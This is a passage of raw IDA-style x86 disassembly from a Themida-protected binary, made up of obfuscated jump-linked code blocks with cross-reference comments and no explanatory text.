ptr [esp] mov esp, [esp] and eax, esi mov esi, [esp] add esp, 4 shr eax, 12h jmp loc_562706 ; --------------------------------------------------------------------------- loc_569F43: ; CODE XREF: Themida_:0056CD14j push eax mov eax, 4 add ecx, eax pop eax push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_560959 ; --------------------------------------------------------------------------- loc_569F5A: ; CODE XREF: Themida_:0055F25Dj add edx, ecx pop ecx add edx, 4 xchg edx, [esp] jmp loc_564EC6 ; --------------------------------------------------------------------------- loc_569F6B: ; CODE XREF: Themida_:0056BECCj mov edi, 34651826h xor edi, ebx pop ebx add ebp, edi pop edi xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebx push eax jmp loc_569516 ; --------------------------------------------------------------------------- loc_569F89: ; CODE XREF: Themida_:005699DEj xor eax, esi mov esi, [esp] add esp, 4 push ebp mov ebp, 2B39BFECh push esi push ebx mov ebx, 7AAE3876h jmp loc_56F72B ; --------------------------------------------------------------------------- loc_569FA3: ; CODE XREF: Themida_:005660E9j xor ebp, 82FA8561h jmp loc_5689B5 ; --------------------------------------------------------------------------- loc_569FAE: ; CODE XREF: Themida_:00563B67j mov edi, 527B53A0h sub edi, 0FFFFFFFFh push edx jmp loc_5630F0 ; --------------------------------------------------------------------------- loc_569FBF: ; CODE XREF: Themida_:0056BF36j push 534E4A7Eh jmp loc_5711C3 ; --------------------------------------------------------------------------- loc_569FC9: ; CODE XREF: Themida_:0055FDF7j push small 3A02h mov cx, [esp] add esp, 2 push cx add word ptr [esp], 0FFFFh mov cx, [esp] push edi jmp loc_56A8CA ; --------------------------------------------------------------------------- loc_569FE9: ; CODE XREF: Themida_:005659BCj and edx, 36DD7D02h xor edx, 72243469h mov edi, edx pop edx jmp loc_55FFC0 ; --------------------------------------------------------------------------- loc_569FFD: ; CODE XREF: Themida_:005610DAj push 4933h mov [esp], esi push ecx mov ecx, 5C76CE0h jmp loc_55E534 ; --------------------------------------------------------------------------- loc_56A010: ; CODE XREF: Themida_:005727DDj neg al jmp loc_56B03E ; --------------------------------------------------------------------------- loc_56A017: ; CODE XREF: Themida_:0055DC82j mov [esp], eax jmp loc_5627B5 ; --------------------------------------------------------------------------- loc_56A01F: ; CODE XREF: Themida_:0056A9DAj mov eax, ebp pop ebp shr eax, 5 sub eax, 1 push edi jmp loc_56C1BA ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5610A4 ; --------------------------------------------------------------------------- loc_56A039: ; CODE XREF: Themida_:00565068j push esp mov edx, [esp] add esp, 4 add edx, 4 push eax mov eax, 7DAD169Eh jmp loc_564ACB ; --------------------------------------------------------------------------- loc_56A051: ; CODE XREF: Themida_:0056C350j pop ebx sub esi, 208370C3h add esi, edi add esi, 208370C3h mov edi, [esp] add esp, 4 jmp loc_5602F2 ; --------------------------------------------------------------------------- loc_56A06E: ; CODE XREF: Themida_:0056C9CAj and [edi+1Ch], ecx jmp loc_560833 ; --------------------------------------------------------------------------- loc_56A076: ; CODE XREF: Themida_:0055F26Dj neg eax xchg eax, edi jmp loc_565A82 ; --------------------------------------------------------------------------- loc_56A07E: ; CODE XREF: Themida_:00565FEAj push 170442D5h pop ecx and ecx, 37C505EDh and ecx, 29E55D3Bh dec ecx xor ecx, 23EB5022h push 554Bh mov [esp], ecx pop eax pop ecx jmp loc_56B5F6 ; --------------------------------------------------------------------------- loc_56A0A6: ; CODE XREF: Themida_:0056801Bj mov [esp], edi jmp loc_567C37 ; --------------------------------------------------------------------------- loc_56A0AE: ; CODE XREF: Themida_:00563586j add edi, ebp pop ebp add edi, 4 xchg edi, [esp] pop esp jmp loc_56B233 ; --------------------------------------------------------------------------- loc_56A0BD: ; CODE XREF: Themida_:0056F2ECj xor dword ptr [esp], 7C004EE8h pop edi xor edi, 7C004EE8h pop eax shr edi, 2 dec edi xor edi, 64DB5ACEh jmp loc_5600FA ; --------------------------------------------------------------------------- loc_56A0DB: ; CODE XREF: Themida_:005654FEj pop edi push esi jmp loc_5661D0 ; --------------------------------------------------------------------------- loc_56A0E2: ; CODE XREF: Themida_:005629F8j add edi, ebp pop ebp push edi push dword ptr [esp+4] jmp loc_567D53 ; --------------------------------------------------------------------------- loc_56A0EF: ; CODE XREF: Themida_:00564CD9j push 6C49h mov [esp], eax jmp loc_55E501 ; --------------------------------------------------------------------------- loc_56A0FC: ; CODE XREF: Themida_:00563381j xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_561732 ; --------------------------------------------------------------------------- loc_56A10A: ; CODE XREF: Themida_:00561A7Dj sub edi, esi jmp loc_56632C ; --------------------------------------------------------------------------- loc_56A111: ; CODE XREF: Themida_:0056B3CCj add ebx, 24E475B3h add ebx, edx sub ebx, 24E475B3h jmp loc_568A36 ; --------------------------------------------------------------------------- loc_56A124: ; CODE XREF: Themida_:0056193Cj sub [esp+4], edx pop edx jmp loc_5663C0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56A13D: ; CODE XREF: Themida_:005645D0j add dword ptr [esp], 530B5413h mov ecx, [esp] push ebp jmp loc_56500A ; --------------------------------------------------------------------------- loc_56A14D: ; CODE XREF: Themida_:005634A0j mov edx, ecx mov ebp, edx pop edx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shl ebp, 6 not ebp inc ebp push esi mov esi, 2C3E2A2Bh or esi, 603416BBh shl esi, 8 sub esi, 3A0F21EAh jmp loc_56D9B7 ; --------------------------------------------------------------------------- loc_56A187: ; CODE XREF: Themida_:0056F371j sub esp, 4 mov [esp], ebx mov ebx, 6D5459B3h shl ebx, 3 shr ebx, 3 sub ebx, 0F0C800E3h and ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 44551D79h jmp loc_56DE79 ; --------------------------------------------------------------------------- loc_56A1B4: ; CODE XREF: Themida_:0056D2BCj xchg esi, [esp] pop esp jmp loc_56581A ; --------------------------------------------------------------------------- loc_56A1BD: ; CODE XREF: Themida_:0056B2D1j sub al, bh jmp loc_55F093 ; --------------------------------------------------------------------------- loc_56A1C4: ; CODE XREF: Themida_:00572513j xor ebp, 3D8F1D22h sub ebx, ebp pop ebp pop edi xchg ebx, [esp] pop esp jmp loc_570920 ; --------------------------------------------------------------------------- loc_56A1D7: ; CODE XREF: Themida_:0055DF85j mov edi, [esp] jmp loc_569BB2 ; --------------------------------------------------------------------------- loc_56A1DF: ; CODE XREF: Themida_:0057286Cj add ecx, 0B4A8349Ch mov ebx, ecx pop ecx push 6C5Eh mov [esp], edx mov edx, 6A934972h inc edx neg edx shl edx, 8 sub edx, 0FFFFFFFFh xor edx, 2F23298Dh add edx, 0E0967C5Fh or ebx, edx pop edx push 7587h mov [esp], edi mov edi, 2A2B5382h xor ebx, edi pop edi add edi, ebx jmp loc_565F36 ; --------------------------------------------------------------------------- loc_56A224: ; CODE XREF: Themida_:00567FB5j push dword ptr [esp+4] push dword ptr [esp] push dword ptr [esp] jmp loc_56155E ; --------------------------------------------------------------------------- loc_56A233: ; CODE XREF: Themida_:00567898j mov edi, [esp] add esp, 4 jmp loc_5633D6 ; --------------------------------------------------------------------------- loc_56A23E: ; CODE XREF: Themida_:0056D36Cj add ebp, ebx mov ebx, [esp] push edx jmp loc_55F5AF ; --------------------------------------------------------------------------- loc_56A249: ; CODE XREF: Themida_:0055FD77j add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_572A0D ; --------------------------------------------------------------------------- loc_56A25E: ; CODE XREF: Themida_:0056C75Cj xchg ebp, [esp] pop esp mov [esp], edx push 4000h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_563AB7 ; --------------------------------------------------------------------------- loc_56A27E: ; CODE XREF: Themida_:0056703Bj sub ebp, 51FECA35h mov eax, ebp pop ebp and eax, 127C0BF7h jmp loc_567083 ; --------------------------------------------------------------------------- loc_56A291: ; CODE XREF: Themida_:00562A55j sub eax, edx add eax, 543D71C1h sub eax, 2D043819h push dword ptr [esp] pop edx add esp, 4 jmp loc_56D0A4 ; --------------------------------------------------------------------------- loc_56A2AC: ; CODE XREF: Themida_:00564953j mov edi, 7E005F16h and ebp, edi jmp loc_56EB59 ; --------------------------------------------------------------------------- loc_56A2B8: ; CODE XREF: Themida_:0055E0F1j pop dword ptr [esp] jmp loc_56987C ; --------------------------------------------------------------------------- loc_56A2C0: ; CODE XREF: Themida_:0056B369j mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], edi jmp loc_5605BB ; --------------------------------------------------------------------------- loc_56A2D4: ; CODE XREF: Themida_:00560C5Ej xor ebx, 705976A4h jmp loc_56C52C ; --------------------------------------------------------------------------- loc_56A2DF: ; CODE XREF: Themida_:00564FBAj shr edx, 8 xor edx, 5AB119D7h xor edx, 6641EB3Bh push ebx jmp loc_560939 ; --------------------------------------------------------------------------- loc_56A2F4: ; CODE XREF: Themida_:0056056Aj not ebp add ebp, 0BB72966h xor ebp, 0F37D4C04h add edi, ebp jmp loc_569D07 ; --------------------------------------------------------------------------- loc_56A309: ; CODE XREF: Themida_:0056D4D5j pop ebx jmp loc_56F68C ; --------------------------------------------------------------------------- loc_56A30F: ; CODE XREF: Themida_:0056882Fj add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 4 push 1620h mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_56BE76 ; --------------------------------------------------------------------------- loc_56A334: ; CODE XREF: Themida_:0055E22Aj pop edx jmp loc_56C874 ; --------------------------------------------------------------------------- loc_56A33A: ; CODE XREF: Themida_:0055D3CCj xor esi, edi mov edi, [esp] add esp, 4 push 73D6h jmp loc_5605DC ; --------------------------------------------------------------------------- loc_56A34C: ; CODE XREF: Themida_:00567A5Aj shr dh, 1 xor dh, 0BEh add dh, 37h jmp loc_562AAD ; --------------------------------------------------------------------------- push edi sub esp, 4 mov [esp], esi push 45E0439Ch push dword ptr [esp] pop esi jmp loc_55D4D8 ; --------------------------------------------------------------------------- loc_56A371: ; CODE XREF: Themida_:0056BA95j pop edx pop ebp mov dword ptr [edi+20h], 7B091886h sub [edi+20h], edx mov edx, [esp] jmp loc_567F38 ; --------------------------------------------------------------------------- loc_56A385: ; CODE XREF: Themida_:00564BB9j add esp, 4 push eax mov eax, 0 sub eax, 1B430862h jmp loc_55FF46 ; --------------------------------------------------------------------------- loc_56A39B: ; CODE XREF: Themida_:00563C24j push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_56E410 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56A3A8: ; CODE XREF: sub_59DB3D-2CFD0j mov word ptr [esp+30h+var_32+2], bx push edx mov dh, 0B6h mov bl, dh pop edx jmp loc_56CA75 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56A3B7: ; CODE XREF: Themida_:0055F6CDj pop ecx add ebx, 7B9A01B1h sub ebx, ebp sub ebx, 7B9A01B1h mov ebp, [esp] add esp, 4 shr ebx, 1 push eax jmp loc_561318 ; --------------------------------------------------------------------------- loc_56A3D4: ; CODE XREF: Themida_:00564140j mov edx, ecx jmp loc_56FFD4 ; --------------------------------------------------------------------------- loc_56A3DB: ; CODE XREF: Themida_:0056D7F5j pop dword ptr [edi+24h] loc_56A3DE: ; CODE XREF: Themida_:0056F1B1j sub esp, 4 jmp loc_570FC7 ; --------------------------------------------------------------------------- loc_56A3E9: ; CODE XREF: Themida_:00562FEEj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_57078C ; --------------------------------------------------------------------------- loc_56A406: ; CODE XREF: Themida_:0056C8A3j mov [esp], esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_572656 ; --------------------------------------------------------------------------- loc_56A428: ; CODE XREF: Themida_:0055F1F8j sub esp, 4 mov [esp], edi jmp loc_56AEEE ; --------------------------------------------------------------------------- loc_56A436: ; CODE XREF: Themida_:00561B43j mov esi, eax jmp loc_57271B ; --------------------------------------------------------------------------- loc_56A43D: ; CODE XREF: Themida_:00564618j push ebx push 751Eh mov [esp], ecx push edx push ebx mov bl, 0C1h mov dh, 24h xor dh, bl pop ebx mov cl, dh pop edx or cl, 94h jmp loc_56356A ; --------------------------------------------------------------------------- loc_56A45A: ; CODE XREF: Themida_:00566985j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ch, bh pop ebx jmp loc_55D7C8 ; --------------------------------------------------------------------------- loc_56A474: ; CODE XREF: Themida_:00565859j sub dword ptr [esp+4], 5EAF1E89h sub dword ptr [esp+4], 6C2C615Ah mov ecx, [esp] jmp loc_5697F8 ; --------------------------------------------------------------------------- loc_56A48C: ; CODE XREF: Themida_:00571BAAj push ebx push dword ptr [esp+4] pop ebx jmp loc_56EB00 ; --------------------------------------------------------------------------- loc_56A497: ; CODE XREF: Themida_:00564D60j push 45F3h mov [esp], esi push eax mov eax, 4 mov esi, eax mov eax, [esp] jmp loc_560EBF ; --------------------------------------------------------------------------- loc_56A4AF: ; CODE XREF: Themida_:005633F8j mov [esp], ebx push ecx push esi mov esi, 153742F6h sub esi, 728A1A64h sub esi, 0A2AD286Eh jmp loc_564E43 ; --------------------------------------------------------------------------- loc_56A4CA: ; CODE XREF: Themida_:00562F1Cj pop eax add eax, 4 jmp loc_55E49B ; --------------------------------------------------------------------------- loc_56A4D5: ; CODE XREF: Themida_:00568B0Ej sub eax, 922AF033h jmp loc_560F41 ; --------------------------------------------------------------------------- loc_56A4DF: ; CODE XREF: Themida_:00568C02j push ebx mov ebx, 4 sub ecx, ebx jmp loc_563CE7 ; --------------------------------------------------------------------------- loc_56A4EC: ; CODE XREF: Themida_:0056E4DAj mov [esp], edi jmp loc_566FC0 ; --------------------------------------------------------------------------- loc_56A4F4: ; CODE XREF: Themida_:005615A4j mov [esp], esp add dword ptr [esp], 4 pop edx push edi mov edi, 3A9A19FAh and edi, 1B5154D4h inc edi and edi, 21F81291h sub edi, 10108Dh add edx, 5652542Bh jmp loc_5654F6 ; --------------------------------------------------------------------------- loc_56A520: ; CODE XREF: Themida_:0056DDDBj mov ecx, 749A1D0Ah push ebp mov ebp, 3A4036DCh shl ebp, 4 add ebp, 0E15529Ch jmp loc_56CCA3 ; --------------------------------------------------------------------------- loc_56A539: ; CODE XREF: Themida_:0055FAB9j sub edi, 8E7B61Eh mov esi, edi pop edi shr esi, 6 jmp loc_571E01 ; --------------------------------------------------------------------------- loc_56A54A: ; CODE XREF: Themida_:0056316Bj xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 5E00h mov [esp], ebx push 4232h mov [esp], eax push ebx push eax mov ah, dl jmp loc_566B2B ; --------------------------------------------------------------------------- loc_56A56C: ; CODE XREF: Themida_:0056914Bj add ebx, esi pop esi xchg ebx, [esp] pop esp add ebx, edx pop edx add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_56EEF5 ; --------------------------------------------------------------------------- loc_56A587: ; CODE XREF: Themida_:005619A6j add edx, 0AEB3141h add edx, ecx sub edx, 0AEB3141h mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_570B1E ; --------------------------------------------------------------------------- loc_56A5A9: ; CODE XREF: Themida_:00572222j pop ebx jmp loc_56BEBC ; --------------------------------------------------------------------------- loc_56A5AF: ; CODE XREF: Themida_:00561B25j mov ebx, 4 jmp loc_565C2D ; --------------------------------------------------------------------------- loc_56A5B9: ; CODE XREF: Themida_:0055FF41j push ebx push ebx mov ebx, 1FA84D8Dh sub [esp+4], ebx pop ebx pop edi add edi, 1FA84D8Dh pop ebx inc edi push ebp jmp loc_55EE2C ; --------------------------------------------------------------------------- loc_56A5D4: ; CODE XREF: Themida_:0056F2A5j or esi, 6BE47E06h jmp loc_5617C5 ; --------------------------------------------------------------------------- loc_56A5DF: ; CODE XREF: Themida_:0056B860j not ebp xchg ebp, esi add esi, 0CDCA5519h sub edi, esi mov esi, [esp] add esp, 4 push eax push edi mov eax, [esp] add esp, 4 jmp loc_569E41 ; --------------------------------------------------------------------------- loc_56A601: ; CODE XREF: Themida_:00562BD3j pop eax add ebx, 667700E9h jmp loc_566CFC ; --------------------------------------------------------------------------- loc_56A60D: ; CODE XREF: Themida_:0055E77Bj mov [esp], esi jmp loc_563EBD ; --------------------------------------------------------------------------- loc_56A615: ; CODE XREF: Themida_:00569910j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi jmp loc_56C2FE ; --------------------------------------------------------------------------- loc_56A62B: ; CODE XREF: Themida_:00572171j sub edi, 68890371h mov ecx, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push 7ED8h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56A65F: ; CODE XREF: Themida_:00569E62j pop ebx jmp loc_571AD0 ; --------------------------------------------------------------------------- loc_56A665: ; CODE XREF: Themida_:005716E3j pop ebp sub ebp, 7BD27926h jmp loc_55EFEE ; --------------------------------------------------------------------------- loc_56A671: ; CODE XREF: Themida_:0056B449j push edx jmp loc_569608 ; --------------------------------------------------------------------------- loc_56A677: ; CODE XREF: Themida_:0056ABF4j mov [esp], eax mov ah, 0DFh jmp loc_56EAF6 ; --------------------------------------------------------------------------- loc_56A681: ; CODE XREF: Themida_:00569008j mov [esp], ebx mov bl, al mov dh, bl mov ebx, [esp] jmp loc_5679A3 ; --------------------------------------------------------------------------- loc_56A690: ; CODE XREF: Themida_:00571B5Dj pop ebx add esp, 4 sub al, 0AAh sub al, dl add al, 0AAh push dword ptr [esp] pop edx add esp, 4 push edx push ecx mov cl, 7Fh add cl, 72h xor cl, 0D8h sub esp, 4 jmp loc_55D34E ; --------------------------------------------------------------------------- loc_56A6BC: ; CODE XREF: Themida_:00567D6Dj push esp pop edi add edi, 4 add edi, 4 jmp loc_5619EA ; --------------------------------------------------------------------------- loc_56A6CF: ; CODE XREF: Themida_:00565F25j dec bx push si jmp loc_55E2D7 ; --------------------------------------------------------------------------- loc_56A6D8: ; CODE XREF: Themida_:005672ECj add ecx, 4122014Bh sub ecx, eax sub ecx, 4122014Bh pop eax mov ebx, ecx pop ecx jmp loc_5624B7 ; --------------------------------------------------------------------------- loc_56A6EF: ; CODE XREF: Themida_:0056F3E7j sub dh, 0CFh sub dh, 0E4h pop eax sub bl, 25h jmp loc_571C20 ; --------------------------------------------------------------------------- loc_56A6FE: ; CODE XREF: Themida_:0056A758j push edi push esi mov esi, 57E01D9Fh inc esi sub esp, 4 mov [esp], ebx push esi push ebp jmp loc_56F937 ; --------------------------------------------------------------------------- loc_56A716: ; CODE XREF: Themida_:00562AC9j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_561667 ; --------------------------------------------------------------------------- loc_56A725: ; CODE XREF: Themida_:0055E40Bj mov ebp, esp push eax push edi mov edi, 713440B3h shl edi, 2 dec edi or edi, 38024177h jmp loc_5709B7 ; --------------------------------------------------------------------------- loc_56A73D: ; CODE XREF: Themida_:0056F1E6j pop esi jmp loc_56321D ; --------------------------------------------------------------------------- loc_56A743: ; CODE XREF: Themida_:00570E9Aj pop esi add edx, 6E347053h add edx, eax sub edx, 6E347053h mov eax, [esp] add esp, 4 jmp loc_56A6FE ; --------------------------------------------------------------------------- loc_56A75D: ; CODE XREF: Themida_:0056817Dj add esp, 4 push eax mov eax, esp jmp loc_561D90 ; --------------------------------------------------------------------------- loc_56A76B: ; CODE XREF: Themida_:00569D83j mov esi, 3EB837A2h add ebx, esi pop esi or ebx, 62A03803h add ebx, 5C96AD1Bh and ecx, ebx jmp loc_56D8C7 ; --------------------------------------------------------------------------- loc_56A786: ; CODE XREF: Themida_:00564920j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 jmp loc_56EE29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56A7B7: ; CODE XREF: sub_59DB3D-310C6j pop bx add ch, 21h sub ch, 0B1h jmp loc_570DE7 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56A7C4: ; CODE XREF: Themida_:0056629Ej sub eax, edx pop edx jmp loc_56F9E1 ; --------------------------------------------------------------------------- loc_56A7CC: ; CODE XREF: Themida_:0056B052j xor ecx, 420219C6h sub eax, ecx mov ecx, [esp] add esp, 4 sub eax, 566212A6h pop ebp push eax push dword ptr [esp+4] mov eax, [esp] push 3F23h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_55FB5A ; --------------------------------------------------------------------------- loc_56A7FF: ; CODE XREF: Themida_:00569158j sub eax, ebx jmp loc_55F788 ; --------------------------------------------------------------------------- loc_56A806: ; CODE XREF: Themida_:00565C99j add bl, al sub bl, 4 sub bl, 52h add bl, 43h push cx push ebx mov bl, 0F1h sub bl, 8Ch sub esp, 4 mov [esp], eax push edx mov dh, bl mov ah, dh pop edx jmp loc_567724 ; --------------------------------------------------------------------------- loc_56A82A: ; CODE XREF: Themida_:0056D6E7j mov ebp, 2C6018B3h jmp loc_56FD1A ; --------------------------------------------------------------------------- loc_56A834: ; CODE XREF: Themida_:00568F66j xchg dh, al push ebx mov bl, dh xchg cl, bl not cl xchg cl, bl jmp loc_56E59C ; --------------------------------------------------------------------------- loc_56A844: ; CODE XREF: Themida_:0056D09Fj xchg esi, [esp] not esi push esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp pop ebx push ebp mov ebp, 4 add ebx, 57A14213h add ebx, 256C40C3h add ebx, ebp sub ebx, 256C40C3h sub ebx, 57A14213h mov ebp, [esp] add esp, 4 jmp loc_55EC66 ; --------------------------------------------------------------------------- loc_56A892: ; CODE XREF: Themida_:0057294Aj push 74D6h mov [esp], edx push ecx push 5796h mov [esp], ebx mov bl, 9Bh mov ch, bl jmp loc_5643C6 ; --------------------------------------------------------------------------- loc_56A8AC: ; CODE XREF: Themida_:00561562j add esp, 4 add esp, 4 add esp, 4 pop dword ptr [esp] mov esp, [esp] push ecx jmp loc_570074 ; --------------------------------------------------------------------------- loc_56A8CA: ; CODE XREF: Themida_:00569FE4j mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp] jmp loc_560FE2 ; --------------------------------------------------------------------------- loc_56A8E0: ; CODE XREF: Themida_:00560B1Aj pop edi pop edi add edx, esi add edx, 764F46C0h pop esi mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi jmp loc_565958 ; --------------------------------------------------------------------------- loc_56A907: ; CODE XREF: Themida_:00568C9Fj push eax mov eax, 26F1A7Ch add eax, 509D6B22h add eax, 0ACFB7C68h add edi, eax pop eax add esi, edi pop edi sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esi push ebp xor dword ptr [esp], 48BF2496h jmp loc_56CB8F ; --------------------------------------------------------------------------- loc_56A939: ; CODE XREF: Themida_:00569033j pop ebp add esp, 4 add eax, 4F33FE3h add eax, edx sub eax, 4F33FE3h push ecx mov ecx, 0 add ecx, eax jmp loc_567100 ; --------------------------------------------------------------------------- loc_56A956: ; CODE XREF: Themida_:005696CDj push esi push esp pop esi push 621Dh mov [esp], edx mov edx, 4 jmp loc_56F3AB ; --------------------------------------------------------------------------- loc_56A96B: ; CODE XREF: Themida_:00567327j push dword ptr [esp] pop edx add esp, 4 xor ecx, 6A059AAh sub ecx, 28CD3FC9h mov edx, ecx pop ecx xor edx, 4DEE5955h add edx, 0A71500D1h jmp loc_56BA43 ; --------------------------------------------------------------------------- loc_56A995: ; CODE XREF: Themida_:00562732j pop edx jmp loc_562D01 ; --------------------------------------------------------------------------- loc_56A99B: ; CODE XREF: Themida_:0055EF9Aj pop ecx sub esp, 4 mov [esp], edi mov edi, esp jmp loc_55F319 ; --------------------------------------------------------------------------- loc_56A9AC: ; CODE XREF: Themida_:0056E5BEj mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_566DEC ; --------------------------------------------------------------------------- loc_56A9BE: ; CODE XREF: Themida_:0056372Fj sub eax, 0F00B2999h mov esi, eax pop eax jmp loc_568E6C ; --------------------------------------------------------------------------- loc_56A9CB: ; CODE XREF: Themida_:0055D76Dj push eax mov eax, 11955C8Dh sub ebp, eax pop eax sub ebp, 41335083h jmp loc_56A01F ; --------------------------------------------------------------------------- loc_56A9DF: ; CODE XREF: Themida_:0056510Bj mov [esp], ebp push 70B5h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_5611AF ; --------------------------------------------------------------------------- loc_56A9F9: ; CODE XREF: Themida_:00565195j mov bx, si jmp loc_56923B ; --------------------------------------------------------------------------- loc_56AA01: ; CODE XREF: Themida_:0056671Dj add eax, 77B56F79h mov ebp, [esp] add esp, 4 push ecx mov ecx, 12877532h sub eax, 63A9116Fh add eax, 71410F3Fh add eax, ecx sub eax, 71410F3Fh push ebp mov ebp, 63A9116Fh jmp loc_570EEC ; --------------------------------------------------------------------------- loc_56AA31: ; CODE XREF: Themida_:0055F2C9j pop ebp sub ebp, 75AB0A3Eh xor ebp, 78C20304h sub ebp, 632078BFh sub esp, 4 mov [esp], eax mov eax, 38E26619h jmp loc_56F58B ; --------------------------------------------------------------------------- loc_56AA54: ; CODE XREF: Themida_:005705A3j mov edx, 13493CEAh sub edx, 0ADF28C3h sub ecx, edx pop edx pop ebx add ecx, 4 xchg ecx, [esp] pop esp mul ecx push 6904h mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56AA7E: ; CODE XREF: Themida_:0055F17Aj or cl, 67h neg cl jmp loc_566A4E ; --------------------------------------------------------------------------- loc_56AA88: ; CODE XREF: Themida_:0056D286j add esp, 4 add eax, ebx push edx mov edx, 31821D6h add eax, edx pop edx pop ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_564CF9 ; --------------------------------------------------------------------------- loc_56AAB2: ; CODE XREF: Themida_:00567FCEj not esi xchg eax, esi inc eax add eax, 0DEF551A2h xor edi, eax pop eax sub edi, 3E51130Ah jmp loc_56B6CB ; --------------------------------------------------------------------------- loc_56AAC9: ; CODE XREF: Themida_:0057244Aj shr ebp, 5 or ebp, 3B5F17D5h jmp loc_55D767 ; --------------------------------------------------------------------------- loc_56AAD7: ; CODE XREF: Themida_:00569205j add esp, 4 xchg ebx, [esp] jmp loc_56304A ; --------------------------------------------------------------------------- loc_56AAE2: ; CODE XREF: Themida_:0056035Bj mov eax, 71763249h add eax, 0A8DB2E0Eh jmp loc_55F716 ; --------------------------------------------------------------------------- loc_56AAF1: ; CODE XREF: Themida_:005617D4j add edi, 48643FC1h xor esi, edi pop edi not esi sub esi, 35BB54F0h sub edx, 2B1D2A93h jmp loc_567790 ; --------------------------------------------------------------------------- loc_56AB0D: ; CODE XREF: Themida_:0056C813j push esi push esp pop esi push ebp mov ebp, 4 add esi, 2E304576h add esi, 5182313Bh add esi, ebp sub esi, 5182313Bh push edx push 2E304576h pop edx jmp loc_571A94 ; --------------------------------------------------------------------------- loc_56AB36: ; CODE XREF: Themida_:00565574j add ecx, 4 xchg ecx, [esp] pop esp add ebp, 2 jmp loc_56F1EB ; --------------------------------------------------------------------------- loc_56AB48: ; CODE XREF: Themida_:00568CFCj mov ebp, 72CB06F3h mov esi, 10F15E39h xor esi, ebp jmp loc_56424C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_57085F ; --------------------------------------------------------------------------- loc_56AB68: ; CODE XREF: Themida_:00567B9Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_56EEE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_56AB8C: ; CODE XREF: sub_59DB3D-2C7BBj mov [esp+0], ebx jmp loc_5718B3 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_56AB94: ; CODE XREF: Themida_:0056E934j mov ebp, [esp] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebp, 25E3323Ah add ebp, eax jmp loc_5686EE ; --------------------------------------------------------------------------- loc_56ABBA: ; CODE XREF: Themida_:00563D96j push ebx not byte ptr [esp+1] pop ebx jmp loc_57025C ; --------------------------------------------------------------------------- loc_56ABC5: ; CODE XREF: Themida_:0055EC83j and eax, 54260442h add eax, 1CEA4BC5h xor eax, 2D27063Fh dec eax jmp loc_568B09 ; --------------------------------------------------------------------------- loc_56ABDA: ; CODE XREF: Themida_:0056E4AAj mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_5663E0 ; --------------------------------------------------------------------------- loc_56ABEA: ; CODE XREF: Themida_:0057065Bj mov edx, [esp] add esp, 4 pop ebx sub esp, 4 jmp loc_56A677 ; --------------------------------------------------------------------------- loc_56ABF9: ; CODE XREF: Themida_:00566542j xor ebp, [esp] xor [esp], ebp jmp loc_57268E ; 